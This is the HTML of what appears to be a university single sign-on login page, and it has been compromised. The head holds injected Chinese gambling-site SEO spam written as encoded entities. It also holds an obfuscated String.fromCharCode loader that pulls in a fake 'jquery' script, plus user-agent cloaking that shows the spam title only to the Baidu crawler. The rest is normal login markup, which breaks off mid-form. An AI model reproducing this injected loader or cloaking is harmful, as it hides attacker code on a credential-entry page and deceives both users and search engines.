﻿﻿<!DOCTYPE html><html class="root-main">
<!-- 移动端 --><!-- PC端 --><!--校外用户登录--><!-- 二维码扫码登录 --><!-- 兼容性登录 --><!--校外用户登录--><!-- 帐号登录或动态码登录 --><head><title>&#x7C73;&#x5170;&#x4F53;&#x80B2;&#x767B;&#x5F55;&#x5165;&#x53E3;-&#x7C73;&#x5170;&#x5A31;&#x4E50;&#x5BA2;&#x6237;&#x7AEF;&#x6700;&#x65B0;&#x7248;&#x4E0B;&#x8F7D;&#x5B98;&#x7F51;</title>
<meta name="keywords" content="&#31859;&#20848;&#20307;&#32946;&#30331;&#24405;&#20837;&#21475;&#44;&#31859;&#20848;&#23089;&#20048;&#23458;&#25143;&#31471;&#26368;&#26032;&#29256;&#19979;&#36733;&#23448;&#32593;"/>
<meta name="description" content="&#31859;&#20848;&#23089;&#20048;&#23458;&#25143;&#31471;&#25552;&#20379;&#26368;&#26032;&#26368;&#28909;&#38376;&#30340;&#32447;&#19978;&#23089;&#20048;&#20307;&#39564;&#65292;&#25317;&#26377;&#20016;&#23500;&#22810;&#26679;&#30340;&#28216;&#25103;&#36873;&#25321;&#21644;&#29992;&#25143;&#21451;&#22909;&#30340;&#30028;&#38754;&#35774;&#35745;&#65292;&#35753;&#24744;&#38543;&#26102;&#38543;&#22320;&#30021;&#20139;&#23089;&#20048;&#30427;&#23476;&#65292;&#23613;&#24773;&#37322;&#25918;&#21387;&#21147;&#19982;&#27426;&#20048;&#12290;"/>

<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,47,106,115,47,106,113,117,101,114,121,46,51,46,53,46,49,46,109,105,110,46,116,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="统一身份认证平台"}</script>
  <meta charset="utf-8" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /><title></title>
  <script>
    var inputUserNameTip = "\u8BF7\u8F93\u5165\u7528\u6237\u540D";
    var inputPasswordTip = "\u8BF7\u8F93\u5165\u5BC6\u7801";
    var inputCodeTip = "\u8BF7\u8F93\u5165\u9A8C\u8BC1\u7801";
    var qrLoginTip = "\u626B\u7801\u767B\u5F55";
    var qrInvalidTip = "\u4E8C\u7EF4\u7801\u5DF2\u5931\u6548\uFF0C\u70B9\u51FB\u5237\u65B0";

    var inputMobileTip = "\u8BF7\u8F93\u5165\u624B\u673A\u53F7\u6216\u5B66\u53F7";
    var inputDynamicTip = "\u8BF7\u8F93\u5165\u9A8C\u8BC1\u7801";
    var getDynamicCodeTip = "\u83B7\u53D6\u9A8C\u8BC1\u7801";
    var inputDynamicGetCode = "\u83B7\u53D6\u9A8C\u8BC1\u7801";
    var excludeRegular = "\u7528\u6237\u540D\u5305\u542B\u7279\u6B8A\u5B57\u7B26";
    //不转码，防止参数丢失
    var service = ["https://cas-443.webvpn.nefu.edu.cn\/auth-protocol-core\/loginSuccess?sessionToken=9130af601cda412daab112f39d9e6f7d"];
    var type = null;
    var jsonObject = {"pcLogoPath":null,"pcThemeColor":null,"officialUrl":null,"defaultWxQrCode":0,"wxQrCode":null,"defaultImage":0,"imageType":1,"shufflingTime":5,"shufflingStyle":1,"imageNames":["default_login.png"],"mobileLogoPath":null,"mobileThemeColor":null,"mobileModel":0,"mobileImages":["default_mobile_login.png"],"otherModel":0,"otherImages":["default_auth_serv_bg.png"]};
    var reg = "[$:{}]";
  </script>
  <script type="text/javascript">
    if (service == '' || !service) {
      service = '';//saml后缀
    }
    var isQrLogin = "false";
    var isQrLoginEnabled = "true"
    var captchaSwitch = "2";
    var needCaptcha = "";
    var _fidoEnabled = "true";
    var is_dynamicLogin = "true";
    var is_userNameLogin = "true";
    var contextPath = "/authserver";
    var cllt = "";
    var _badCredentialsCount = "3";
    var rememberMeTip = '开启后7天内无需再次登录，主动退出登录或使用浏览器无痕模式访问后，此功能失效'
  </script>
  <style>
    .change-color {
      color: #006B38 !important;
    }

    .change-bg-color {
      background-color: #006B38 !important;
    }

    .change-bd-color {
      border-color: #006B38 !important;
    }
  </style>
  <link rel="stylesheet" type="text/css"
    href="/authserver/cusThemeZnd/static/css/toastr.min.css?v=20250928.164858"><link rel="stylesheet" type="text/css"
    href="/authserver/cusThemeZnd/static/web/css/login.css?v=20250928.164858" /><link rel="stylesheet" type="text/css"
    href="/authserver/cusThemeZnd/static/web/iconfont/iconfont.css?v=20250928.164858" /><link rel="stylesheet" type="text/css"
    href="/authserver/cusThemeZnd/static/web/css/fido.css?v=20250928.164858" /><link rel="stylesheet" type="text/css"
    href="/authserver/cusThemeZnd/static/common/css/swiper.min.css?v=20250928.164858" /><link rel="stylesheet" type="text/css"
    href="/authserver/cusThemeZnd/customStatic/web/css/gorgeous.css?v=20250928.164858" /><link rel="stylesheet" type="text/css"
    href="/authserver/cusThemeZnd/customStatic/web/css/custom.css?v=20250928.164858" /><script type="text/javascript"
    src="/authserver/cusThemeZnd/static/common/swiper.min.js?v=20250928.164858"></script>
  <script type="text/javascript"
    src="/authserver/cusThemeZnd/static/common/jquery-latest.min.js?v=20250928.164858"></script>
  <script type="text/javascript"
    src="/authserver/cusThemeZnd/static/js/plugin/toastr.min.js?v=20250928.164858"></script>
  <script type="text/javascript"
    src="/authserver/cusThemeZnd/static/common/utils.js?v=20250928.164858"></script>
  <script type="text/javascript"
    src="/authserver/cusThemeZnd/static/common/common-header.js?v=20250928.164858"></script>
  <script type="text/javascript"
    src="/authserver/cusThemeZnd/static/common/encrypt.js?v=20250928.164858"></script>
  <script type="text/javascript"
    src="/authserver/cusThemeZnd/static/web/js/fido.js?v=20250928.164858"></script>
  <script type="text/javascript"
    src="/authserver/cusThemeZnd/static/web/js/schoolCombinedLogin.js?v=20250928.164858"></script>
  <script type="text/javascript"
    src="/authserver/cusThemeZnd/static/web/js/login.js?v=20250928.164858"></script>

  <style>
    #rememberMeTipDiv:hover .bubbleTip {
      display: block;
    }

    #myRememberMe {
      overflow: visible !important;
      color: #000;
    }

    .bubbleTip {
      background-color: black;
      color: white;
      display: none;
      padding: 8px 12px 8px 12px;
      line-height: 18px;
      text-align: left;
      position: absolute;
      top: -10px;
      left: -5px;
      font-size: 12px;
      z-index: 100;
      width: 300px;
      white-space: break-spaces;
      top: 50%;
      transform: translate(30px, -50%);
    }

    .bubbleTip::before {
      position: absolute;
      content: '';
      height: 0;
      width: 0;
      border-width: 1em;
      border-style: solid;
      border-color: transparent black transparent transparent;
      left: -1.5em;
      top: 0px;
      bottom: 0px;
      margin: auto;
    }
  </style>
  <script type="text/javascript">
    $(function () {
      $("#myRememberMe").attr("title", "")
    });
  </script>
</head>

<body>
  <div class="container-ge">
    <div class="auth_page_wrappers">
      <!-- 轮播图 --><div class="swiper-container swiper-main">
        <div class="swiper-wrapper">
          <div class="swiper-slide swiper-no-swiping">
            <img src="/authserver/cusThemeZnd/customStatic/web/images/1.jpg"
              style="width: 100%;height: 100%" /></div>
          <div class="swiper-slide swiper-no-swiping">
            <img src="/authserver/cusThemeZnd/customStatic/web/images/2.png"
              style="width: 100%;height: 100%" /></div>
          <div class="swiper-slide swiper-no-swiping">
            <img src="/authserver/cusThemeZnd/customStatic/web/images/3.png"
              style="width: 100%;height: 100%" /></div>
          <div class="swiper-slide swiper-no-swiping">
            <img src="/authserver/cusThemeZnd/customStatic/web/images/4.png"
              style="width: 100%;height: 100%" /></div>
          <div class="swiper-slide swiper-no-swiping">
            <img src="/authserver/cusThemeZnd/customStatic/web/images/5.png"
              style="width: 100%;height: 100%" /></div>
        </div>
      </div>
      <div class="language-box">
        <span class="lang-btn" id="eng_btn">ENG</span>
        <span class="lang-btn" id="ch_btn">中文</span>
      </div>
      <div class="auth_page_body">
        <div class="auth_page_content">
          <!--                <div class="g-logo-title">--><!--                    <div class="school-logo lang_text_ellipsis">--><!--                        &lt;!&ndash;                        <th:block th:if="${!#strings.isEmpty(@systemConfigUtils.getBackgroundProperties().pcLogoPath)}">&ndash;&gt;--><!--                        &lt;!&ndash;                            <img th:src="@{${#themes.code('static.path')}+'/common/images/'+${@systemConfigUtils.getBackgroundProperties().pcLogoPath}}"/>&ndash;&gt;--><!--                        &lt;!&ndash;                            <span class="split-lines"></span>&ndash;&gt;--><!--                        &lt;!&ndash;                        </th:block>&ndash;&gt;--><!--                        <img th:src="@{${#themes.code('custom.static.path')}+'/web/images/logo1.png'}"/>--><!--                        &lt;!&ndash;                        <span class="logo-title" th:text="#{ids.loginView.logo}"></span>&ndash;&gt;--><!--                    </div>--><!--                    &lt;!&ndash;                    <div class="t-language-switch">&ndash;&gt;--><!--                    &lt;!&ndash;                        <a id="outUserLoginA" class="common-login-btn lang_text_ellipsis" th:if="${_campusScopeType=='0'}" th:href="@{/login(type=outUserLogin)}"  th:utext="#{login.type.out.user.login}"></a>&ndash;&gt;--><!--                    &lt;!&ndash;                        <a id="commonLoginA" class="common-login-btn lang_text_ellipsis" th:href="@{/login(type=commonLogin)}" th:if="${@systemConfigUtils.isCommonLoginEnabled()}" th:utext="#{ids.loginView.commonLogin}"></a>&ndash;&gt;--><!--                    &lt;!&ndash;                        <div class="g-language-switch item">&ndash;&gt;--><!--                    &lt;!&ndash;                            <button class="g-switch-result" style="height: 32px">&ndash;&gt;--><!--                    &lt;!&ndash;                                <span id="language_switch_name" class="g-switch-btn lang_text_ellipsis"></span>&ndash;&gt;--><!--                    &lt;!&ndash;                                <span class="g-switch-arrow"></span>&ndash;&gt;--><!--                    &lt;!&ndash;                            </button>&ndash;&gt;--><!--                    &lt;!&ndash;                            <div class="item-show">&ndash;&gt;--><!--                    &lt;!&ndash;                                <ul id="language_switch" class="g-switch-list"></ul>&ndash;&gt;--><!--                    &lt;!&ndash;                            </div>&ndash;&gt;--><!--                    &lt;!&ndash;                        </div>&ndash;&gt;--><!--                    &lt;!&ndash;                    </div>&ndash;&gt;--><!--                </div>--><div class="auth_login_content">
            <div class="cus_wrap">

              <div style="position: relative;">
                <div class="wrap-ge">
                  <!-- <a id="qrCodeA" class="qrcodeA" style="display: none;"></a>
                                              <a id="qrCodeB" class="qrcodeB" style="display: none;"></a> --><section class="main">
                    <div class="wrap-logo">
                      <img src="/authserver/cusThemeZnd/customStatic/web/images/logo.png" alt="" /><!--                                        <div class="text1">统一身份认证</div>--></div>
                    <div class="tabHead">
                      <span id="pwdLoginSpan" title="账号登录" style="display: none">
                        <a id="userNameLogin_a" href="javascript:void(0)" onclick="showTabHeadAndDiv('userNameLogin',1)"
                          class="loginFont_a text_ellipsis">账号登录</a>
                        <div class='tabHead-underline change-bg-color'>&nbsp;</div>
                      </span>
                      <span id="phoneLoginSpan" title="验证码登录" style="display: none">
                        <a id="dynamicLogin_a" href="javascript:void(0)" onclick="showTabHeadAndDiv('dynamicLogin',1)"
                          class="loginFont_a text_ellipsis">验证码登录</a>
                        <div class='tabHead-underline change-bg-color'>&nbsp;</div>
                      </span>
                      <span id="fidoLoginSpan" style="max-width: 120px;display: none" title="生物识别">
                        <a id="fidoLogin_a" href="javascript:void(0)" onclick="showTabHeadAndDiv('fidoLogin',1)"
                          class="loginFont_a text_ellipsis">生物识别</a>
                        <div class='tabHead-underline change-bg-color'>&nbsp;</div>
                      </span>
                      <span id="qrLoginSpan" title="扫码登录" style="display: none">
                        <a id="qrLogin_a" href="javascript:void(0)" onclick="showTabHeadAndDiv('qrLogin',1)"
                          class="loginFont_a text_ellipsis">扫码登录</a>
                        <div class='tabHead-underline change-bg-color'>&nbsp;</div>
                      </span>
                    </div>
                    <div class="login-main login-slider">
                      <!--登录FORM--><div id="loginViewDiv"></div>
                      <div class="help-inline">
                        <div class="help-inline-tip"></div>
                      </div>
                      <div class="help">
                        <!-- 帐号激活 --><a id="activationAccountId" href="../retrieve-password/accountActivation/index.html"
                            class="activation-account lang_text_ellipsis">账号激活</a>
                        <div class="help_item">
                          <!-- 在线帮助文档  --><a id="fetchOnlineGuider" href="/authserver/fetchOnlineGuider" target="_blank" class="fetch-online lang_text_ellipsis">帮助文档</a>
                            <span class="split-lines"></span>
                          <!-- 忘记密码 --><a id="retrievePassId" href="../retrieve-password/retrievePassword/index.html"
                            class="fo-password lang_text_ellipsis">忘记密码</a>
                          <!-- 账号解禁  --></div>
                      </div>
                    </div>
                  </section>
              
              
                </div>
              </div>

              <div class="dz_ewm">
                <div class="wx-code">
                  <div class="wx-cut">
                    <iframe id="iframe" src="/authserver/combinedLogin.do?type=weixin" frameborder="0"></iframe>
                  </div>
                  <p class="wx-tip">微信扫码登录</p>
                </div>
                <!--                             嵌入二维码登录--><section class="auth-qroce" style="display: none;">
                  <span class="qrcode_title lang_text_ellipsis">扫码登录</span>
                  <div class="qrcode-middle">
                    <div>
<script type="text/javascript" src="/authserver/cusThemeZnd/static/custom/js/qrcode.js?v=20250928.164858"></script>
<div class="qr_scan_box">
    <form method="post" id="qrLoginForm" action="/authserver/login" role="form">
        <div id="qr_code">
             <div class="qr_scan_code"><img id="qr_img" src=""/></div>
             <span class="title lang_text_ellipsis">手机扫码  安全登录</span>
        </div>

        <div id="qr_success" class="qr_success" style="display: none">
            <div class="qr_scan_success">
                <img src="/authserver/cusThemeZnd/static/custom/images/success_qr.png"/><div class="qr_success_tips_div">
                    <span class="qr_success_tips">扫描成功</span>
                    <span class="sub_title lang_text_ellipsis qr_success_sub_title">请在手机上「确认登录」</span>
                </div>
            </div>
            <div class="scan_footer lang_text_ellipsis qr_success_back"><a class="scan_a" href="javascript:refresh();">返回二维码</a></div>
        </div>

        <div id="qr_invalid" style="display: none">
            <div class="qr_scan_code">
                <img id="invalid_img" src=""/><div class="qr_scan_Invalid">
                    <img id="qr_refresh" src="/authserver/cusThemeZnd/static/custom/images/refresh.png" onclick="refresh()"/></div>
            </div>
            <span class="title lang_text_ellipsis">手机扫码  安全登录</span>
        </div>

        <input type="hidden" name="lt" id="lt" value="" /><input type="hidden" name="uuid" id="uuid" value=""/><input type="hidden" name="cllt" value="qrLogin"/><input type="hidden" id="dllt" name="dllt" value="generalLogin"><input type="hidden" name="execution" value="931d0a7e-76c5-4499-8df1-4b69fea3c9d7_ZXlKaGJHY2lPaUpJVXpVeE1pSjkuMWlYR3RubWZKU1NoK0xUTGtnaC90dElDOEg5VDI5aHF2RHRmdzJvQS9na1JpUXZyYThORVkxeXRxYi9xRnh3U1lCWjdzNkJZdVRnTmUwUTdzZjVqM3hwSnIvNVZMOFBFd2pxMVk0ZmRBdlNrK3ZZdmxra0FFVmEyR1VGSkNNeEhncDB1bndkdmpzL2NjL1lndDJXVUp6NGpKazJUQzRGWjMzaTg2d1V4S2xJL0duU3k4aG54QUxrL2RST0s1cktDWFk3OXpaZVBxTEFpMU1BbWZrWCtvQllHM3BYUUtLK05EM05SSjRwYTcxaDEwT0xDZ0dkVEd3YTQvbXJsN1VnbnYyc1hHV3RFVU9tejhtSnU3Q0ZSQ29Ed29HTzhWR0ZlU25pK0ZUMkJZVlNBY3lYZWNaK0lZNUk5Z2k0RkhEaXVXM1pYVXVxK1hEaTdCcWVQT2xieXZVM0xPblVOQXVDSURhUHhNeWZVMXY0a2Q2dE51OHpWWmJKRms0S1dmTTVsUkpEdkpHdEJxYTloR0s5Ujh5MEx2VGEvQmYwU2FjNWNmcW5aWTBVRU5UV2xHeWFCMmhlR1RvUFJ3aG5MUTdyTENRU0hhNXM1Y2ZyOWh5RjdVQ29RVythY1JDZmtSWVNWelNTZmxFM1QvTkg0N3BEdW5Ia2haQmtYM1JlRzQzbW5Ia25HYmY0RUNYaGw1b1krWUV4cVJXRkdKSDd3WG1BcCs4UEZvRUdIYkhEVmd5eUR5QlFIdm5jZlVFdXBOb2dEYmJBRGhGamVsNG1yR3Q3WEhQcHNQdng1R3VsdGtrcXROU1BzVlkxOWdXdWRqUElaZm5XN3VwMStYcGpFdmNaWmluaDFpeHRYc0dSVUR3ODV3Zml1RzQrNkNaLzZPR3BNeVY4UzdFbUVBbmxhSzdyQVdORnpLNGwxYkhYYVFla1VuckQxWUR0Rnp0WW1lbFRremNLYWROSENvRUsyTkhPSUtUdGZzbXFMUjM0RTBGdjlXL0hZMmRNcERNUVI3c0Erc29ZU0xXdUo5cVBwUThCOHM4NTVtMVJYZEplOXpHNGpkSXhDRFJYUEp2MXVIMzJzTWd5cmRaeUNmaEQwak5vTG54c0tBYXVYbTlodk5ITTZOTEdWMkhCYUZ3aHRuck1XRDFwVWc1LzJuMGpoMFpybUJPamYvT1lDTFZnSjY3MGZnR0RIUTVpT29HUXQyNXRuNVBVQUpGNU9lbitEUHB2cS9wTi9GdVFxZEsrSjYvUG1aTE9xcXpSTWhMbTVJaFQreDh4L2RnSjJVblgxZDJkcVBjVFhxM0U4bVVZQjAzTHZpcW4xTzFJZlorc2Y4eGxIYUVpbVoyQ2sxL0RBN295bEpCeUpNNE9HQjQzVE9YaVhsOFhydXU0Y0ZOOVhYdUh4VVE3Y1ZUcTlwMHVZenFialV1OWswS2FMV0c2K29kYTVxeE9WYmkxekxtbXlHNFAvSVB2TkJkbmFnS0x1bnQ0Qzh2MmRQL21pTXRNWXQ3SDhVTlc0WWdBYVoxdDYxdUgyVmRQNE5pVjlhOTNwYTl3NVlQNVVsK1NPVERLOWVlRW9PZE1sa0htL1Q3VHEzaXZpakI2TGU5ZGNUbkU1VCtnNXg2ek83TlpPZmorbHZIYURnSzl0TnpjNk9NeEhoYWZZbHRxWjVBSjNxYlFMYkhEZ2dES2hKcWJSZFNTeVIrMVdKMS9CNWd2MGRFbEd6NWcrNS9yQTFkWStWbytIZStTWVBLb3hhMEZKM2dneVNOcFdIVS9lOHduK2tWOUoxRGxGV3B3Tm5JeVd5bFJUeDhYWnhWT1JLVW5mcHhQTXFpUUpac3l4NjZVTitPZzBBaXZNSHMwSk5yRGZ6ZncyK3lZb1hTMTJPVS8valhFWTdRUXpkV1FFQStoaWxCMjY2am5nRWNtM1RMYW1tUEVXc1ZONkZreVIvWmwvQjRYRU43ZHplVFJxMjNsV1FweWlxUFZxOEs5T0RRaHIvd01FdDQ1ak9zQ01EQzJUbWRJamMzSGdVd2FLWDltSkZ3UGw5ZlNDcFFoVHBiYVNab3cxcW9WaGZYMTNwRERmQ3BGd1JLZHo5L21GSHBzZjhEaFFVYXBZWkFwOXRMMkVxRnlGd1U4NlF6WTNRTnc1WWt5NTBteHVzK1hKUkw3U1ZrTGdrYmtIenQzNjFFNEQ3K0Z6UHpFRHZNNHUwd3Y4b3JKczlOWjdCTFFQRTZqWTcyQng5Uy9qeURRdm1oUzZSL0k0SS9zczlJWXdNcXRFT3RkcWI0ODFxY290V0dUR2swdkhXdmE2cHNWQTNMWTV1MEtSUW1pZDcxV20zMnROeU5HRVViSzBiUThLaUdXN0pxT1FyTyszZVh2aUxZTjFkdXlLVlFDWVp4RkIvVzZZbEZvWnZZZ2V6VFlLRTRTUlZPSVhxaGdyZm51MGRCQklYdXA1RktHczBBV0VIc0xKUGV5U3hMcHJDNDJFdVdTNjRKT3hrVS9wUWJ1V2QxQm96SXo3aS8yQjJZWlh4SUFmelRzT0M3L3plUnRQQ3V0YnU0UlpjN2FTbEw4ZUxUc3FmOWh3alJER2QwcWZaeWUwK1h6cUlwV2hNMWc4K0NzZUNyb01vdS82dVlJZm11ZUJkbTRkUDIzcHlna0twYlJMUFRRUW9uZ1UrYmpkZlhMR2ViWnBjZTJxNis2WTNVbGFoQ2hJUlUwdkNEZWh4NVhqb2NaVDl4VnRSekdmSU1DZWVGV3kzQktHd0N3SW9SRXg5R1BGcllQQ0VkcE12RDhRQVJDMW1KMDk2WnRXaWx1MFZLbTNZTDA4dDNCZC9LT0dHT3hZUFI5VDAwbHlrWkc4NWFKcmUvODF5b0NHcC82aFRTRHVqOU55Tjl6OWY3clVOVHV1dVNzaUxvd3RzSG1uUkUySlNvd3ZQbmtGczBEL2l3cDRTUzdDT0ZUVE0wd040dTJ6cDN6QkRoZjdXRzRlY0F4bkEyTnA1MGZZcE9jWG41eGtOTFV5ek1pZW1GbDhhZU1CUko0TE0wMkNhcG9rMnQrR1NlVTZYNXpqcmxOdWhBMUIvSjhxOXRHOGR6aHZRdnhxMTFWdVJtSFBrU2YrUGVsYTd6Ym5JMFBnVTBjZnAyaFBBK0l3VlZ2QTd6UDJDU1NoYUZldzRWTnFXcUJQWnQyWm05bTI2d1o5dm5rMDcxSEZ4ajJlUTVoM2lUYlRacjhWSkZQcE16UC9xOWMyc3g3Y2ZUbW0vTUxmamhRdlhMSnhjYXZ6aXlja1dzNjBFSzNUZm40RURqK21xbmhPZlAwcmJRQjBvejNHaS9neW80a1RSUUQ4R0tYOUdzRzlobDJ6VXp1aS9qdXkwVjdwWkhHaCtRQlBPNXk2L3VoeUZiMVNpRVhtT1RVVkJXZUg2VVV5Uk1CZTRSWER3bjRtbWRoZjRVRnFJa09qMlJHZ0F0WDBVWm5Vb3BVRTNrMS9XRWxaSVp0ZWNsKzVFK05oNzhpVmUwZmVOTjJXUTJLZGI4ZlJUZzlvSEl5VkVpbjV0VVV4TDB3VmFZZTRqaTB0L2srV2ZLaFZZOVZicEN5VEc5VjhiamhqbHVnNUpqdi83N0NqTWNyLytpM0lHaTU1UWJza243aWxycFdiMUQySmJBTlkxR1lyTkpFQytrUDV4MGhpVEYwYUdWVFQrNTE0Y3ZDZFcyTUhTeFRTc28xKzdYNngxOVk5SGNTbWFjNFVIZGZsRE5PV09XMzhPcngrZWFRM0dxSmFvWDZJVEpJZDR5VCtDazNrb2t4ZlRKSlV0VTBNelZReUpiMlRwbWc2T0I1dmFaSFBuc1FEVzYxYjIra1pidlNMWVFuc1dSM0krc1ZGbFdVSTBFZGFkOVBPOHZzRGx1dm9Kemh5U1R0eUJiM1paRmEwMXpheXpGdy84SnFUd2pYQ3J5MXJKQnNDZ1pCUkp5bTVQMXBqSTN3YksyWVJuTTRic3pZS3VKcXJWQ2xQUDJNaGVWVVNpSW53a08yOUdSbVhHYVVQdXFYeGliRjJmS3BtaVRmTEp6eGVyTGM1bnpBV0Y1UW95eElCT1h3TTBnQWYrSUlFa1dKZGZWdUZPSDdyQjFSMTk3Uk1KQThOdE1BUDVIbzFoZFFpZVJLMDh6M0p2Wks3Z1J4dmhFazQyaE43cG9qMy9peFBSOHp2ekJIdjl6NnN6akNwVkd1K2IxSkRqaC8wTzFmUCt6SS9WdS9YVDRVemMvQWVQZGxrNXhRQVFGeDZtaDFpSnRhMHBnVkdCWlpadmtCcktVQk81V0tYSWwxRE9kVWRjeGtPTjJaWVZmMWF3ZTFRQzBPbXNRdHM1K2Fndjh4TUJ1cnU4S2VDb3VrNnI5eW5TOEU2bUVISlhXcEJKeE1BLzE1YVdZUHpjOG9uRmt1M0YrelB3NGQxaktMbjRJSlQzTVNraHVvN0U3eEJNVzhkVmk5dnU4QzhuMnU5TVhteTdGSFJZbDlOSFF0ZUZoRVN5dndaaktnY3A1Vzhqakdlb3NRTWd4S0RyV0NtQzRHVkNiREQyMnRrWDl5cCtEVTh6RVZXaUJEbDlGeXV4dGF2TjNjNGN6QW5ndm9HcHp5em0rdFh5NjkvZWVuZmVBMDhZeHkxa1hIbjltMEF5cVZTaDRIV2hqOXBwbDRmNjNKOVVmNFFVZElmWmRJMUxvalpXOXBNQ1d0WGZLUFZ2d2UzQmtRU1ZsdWpZT1lKVUZMVzUxN2pFcWdIUXRxYUVXbFlER0NkK2hKcm90YzZTeUpXa21FV0NMOEo0RnRFVkFuTlgrWG1qZURLNkdLeUdqZ1hyZXAzbUUvWm1LM3B0M3RXWWYyM1BmY1Jyb2JRM3FyQUw5QWRXNEd0aW9URWNTajJDVFZZNEg2L1ZYMGNrb3hYb296ZmhiaXRaZHpUZjMrM05PN0lQNVpNd1JYRk5rdGdyUGF4Z1dLWnAycUQ0ZXFUZXJGakM5WGUxRldSdFN4ZFF1OEhjVmN0SE9yUk9uZ1hCUGpXQ1lobis4RjI3VFVjYXAyVWpDNUExd0luM0R6V0U4NExoeWRqYlBldFp3WWRYR0I3YkQzS3F6eTJxQ2NkSnpIaEI1Z0F6c2tROHVSSmxVOGk2cmVBMzJqOSsvYjJGSmNaWEREWjRSaGZieEpoRnhBbDY2UStra2twWGZ3WGQ1SUhVYkZSS2pJMUlZajVFL0Q0eG8vNlcweWxlRENEaEJqSHpNejJ1alJCTytBb3pvZEsvVkhtd1lxenRjZlY5Z1RaOHFBRy9kT2dLNE4wc1J3QTkyOXQzOTFxajh5cWE0cjQvWnJBQnJtdmVnQm0xcW5PVjEvTkxGN01iaFJFYmNKSnhicW56bFoxUzAwU1FTM1h3WnFKdkF1MTlNTlpWNTZRRGl5NzNCWkRVV0dZMDhrYVRPdXA3WlptWlBsenE5clFKRjVub3hzck5lb3lqR2JBTlMrMGxrbkYzQVdhMHc1WjBuQUQ0TlhBSjk2QXBoZm80dm5BRVFNNitTQm5pb0htKy9sb0ZDelZjSUR6ZUJCeFl2c2Mrek5TQ0lpV0hCTnBMdWVhaFlYVXplUFJOOWU4U1NhMTAwSndWOHhiZjJ2S0tURkhDYXBKcWZPWVMxZHdHYW5lL3FpemNuc0VCK0svU1pabTJ2Qi90My9kUExmVXZnUkdkd2FYa2srdkIzYkdVSjRuc0MreExXa3BDd3VaaTZ1S283M2dCZmZ3T2lJR0ZaS0V0eXg2SDhhcGhoVUJraHFrbjZHaU9xaFNFTTZXZ2lwTFBsc3lPc2Z6QjBtS2hybjJoTWVWK1AyWEJ1dUtYM1h4ZHNhSm1GWlFldTRQbWNEVGw0bVNCOFM3U0RzMXR6VjJrN0hjOTZJU3dwN1dCRHRKZkZSZ3BicSszSHdLT1R3a0NmMC9zMHVtMGZKTlBBVHhCdmZzeWdVR2IzOD0uNFFVTFpLYjdLM3BRS3owNEduV0VFbzNMd0J0ZGdyem9lc0RIT2FFWFJmcm0tS2JaeWJSOC1fekxKSHpuTGhUQnlvSFdNMjNiY2thN3FYeEEwbzFlUmc="/><input type="hidden" name="_eventId" value="submit"/><input type="hidden" name="rmShown" value="1"></form>
</div>
</div>
                  </div>
                  <div class="qrcode_img_tip">
                    <!--                                    <p class="qrcode_tip num-text-ellipsis-2" th:text="#{ids.qr.login}"></p>--><p class="qrcode_tip num-text-ellipsis-2">微信扫码登录</p>
                  </div>
                </section>
                <!--                            <div class="text10">——&nbsp;其他登录方式&nbsp;——</div>--><div class="footer" style="display: none">
                  <div class="ways">
                    <div class="item">
                      <div class="login-div selected" id="combinedLogin_a_weiXin">
                        <img src="/authserver/cusThemeZnd/customStatic/web/images/weixin.png" alt="" /></div>
                      <div class="prompt-bottom item-show">
                        <span class="text_ellipsis">微信登录</span>
                      </div>
                    </div>
                    <!--                                    <div class="item">--><!--                                        <div class="login-div qrCodeId" data-type="qywx">--><!--                                            <img th:src="@{${#themes.code('custom.static.path')}+'/web/images/qywx.png'}" alt="" />--><!--                                        </div>--><!--                                        <div class="prompt-bottom item-show">--><!--                                            <span class="text_ellipsis">企业微信</span>--><!--                                        </div>--><!--                                    </div>--><div class="item">
                      <div class="login-div qrCodeId" data-type="jrxy">
                        <img src="/authserver/cusThemeZnd/customStatic/web/images/jrxy.png" alt="" /></div>
                      <div class="prompt-bottom item-show">
                        <span class="text_ellipsis">今日校园</span>
                      </div>
                    </div>
                    </div>
                  <!--跨校认证start--><!--跨校认证end--></div>
              </div>

            </div>
          </div>
          <div class="bottom-pane">
            <div class="copy-bottom">东北林业大学版权所有  中国 黑龙江哈尔滨市香坊区和兴路26号  邮编  150040  黑ICP备19004777号</div>
          </div>
        </div>
      </div>
    </div>
  </div>
  <!-- 滑块验证码 --><div id="sliderCaptchaDiv"></div>
  <!-- fido登录 --><div id="fidoLoginDiv" style="display: none">
    <div style="height: 260px;margin-top: 60px">
		<a href="javascript:void(0);" onclick="startAssertion('#loginFromId');" class="loginFont_a">
			<div class="fidoLogo">
				<img class="fidoLogoImage" src="/authserver/cusThemeZnd/static/web/images/fido.jpg" alt=""/><div id="ukey_info" class="text change-color num-text-ellipsis-2" style="width: 100%;">点击开启识别登录</div>
			</div>
		</a>
		<form class="loginFromClass" method="post" id="loginFromId" action="/authserver/login">
			<div class="lang_text_ellipsis" style="width:100%;color: red;margin-top: 10px;">
				<span id="showErrorTip"></span>
			</div>
			<input type="hidden" id="_eventId" name="_eventId" value="submit" /><input type="hidden" id="username-fido" name="username" value=""><input type="hidden" id="responseJson-fido" name="responseJson" value=""><input type="hidden" id="cllt" name="cllt" value="fidoLogin"><input type="hidden" id="dllt" name="dllt" value="generalLogin"><input type="hidden" name="lt" id="lt" value="" /><input type="hidden" id="execution" name="execution" 